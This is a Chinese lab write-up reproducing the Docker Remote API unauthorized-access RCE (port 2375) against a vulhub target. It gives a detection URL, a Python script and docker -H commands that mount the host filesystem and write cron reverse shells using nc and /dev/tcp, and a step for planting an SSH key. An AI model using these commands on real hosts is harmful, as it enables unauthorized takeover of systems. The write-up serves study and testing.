目录
一、漏洞介绍
1.1漏洞成因
2.2环境准备
二、漏洞检测
三、漏洞利用
1.脚本利用
2.定时任务反弹shell
3. 写ssh公钥获取shell
一、漏洞介绍
1.1漏洞成因
docker remote API未授权访问漏洞,此API主要目的是取代命令执行页面,开放2375监听容器时,会调用这个API。方便docker集群管理和扩展
2.2环境准备
靶机环境:192.168.xx.xxx (ubuntu)
攻击环境:192.168.xx.xxx (kali)
在靶机上使用vulhub
复现漏洞环境。
vulhub官网地址:https://vulhub.org
cd /vulhub/docker/unauthorized-rce
docker-compose build
docker-compose up -d
二、漏洞检测
直接输入地址 http://your-ip:2375/version
;若能访问,证明存在未授权访问漏洞。
三、漏洞利用
1.脚本利用
在kali上安装docker环境
apt-get install docker docker-compose
service docker start
在kali上开启nc监听本地1111端口,用来接收反弹的Shell
nc -l -p 1111
使用Docker随意启动一个容器,并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,进行反弹shell。
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
然后执行 python 脚本反弹Shell给Kali主机的1111端口
python docker-hack.py
执行完脚本,耐心等待一会才会反弹shell到kali主机,大约一分多钟时间。
我最后没弹出来shell-尴尬
2.定时任务反弹shell
docker -H tcp://x.x.x.x:2375 images
(1)能看到宿主机的镜像,说明漏洞存在
(2)开始利用:
列出当前所有镜像
docker -H 192.168.xxx.xxx:2375 images
列出当前所有容器
docker -H 192.168.xxx.xxx:2375 ps -a
在宿主机上启动docker容器:
docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt e66264b98777 /bin/bash (113a43faa138为images ID )
docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt e66264b98777 /bin/sh (113a43faa138为images ID )
这条命令的意思是启动一个image ID 为e66264b98777的容器,并且将该宿主机的根目录挂在到容器的/mnt目录下
启动之后就会获得该容器宿主机的shell:
crontab -e 写入定时任务
***** /bin/sh -i >& /dev/tcp/xxx.xxx.xxx.xxx./1234 0>&1
3. 写ssh公钥获取shell
在攻击者得v屁s上生成一对公私钥
>>ssh-keygen -t rsa
>>输入密钥名
>>输入密码
查看并复制服务器公钥
进入到victim挂在的目录下(/mnt/root)
进入.ssh目录,查看是否有公钥存在(如果有则将之前的公钥进行重定向覆盖)文章来源:https://www.toymoban.com/news/detail-493097.html
文章来源地址https://www.toymoban.com/news/detail-493097.html
到了这里,关于漏洞复现-docker-unauthorized-rce的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!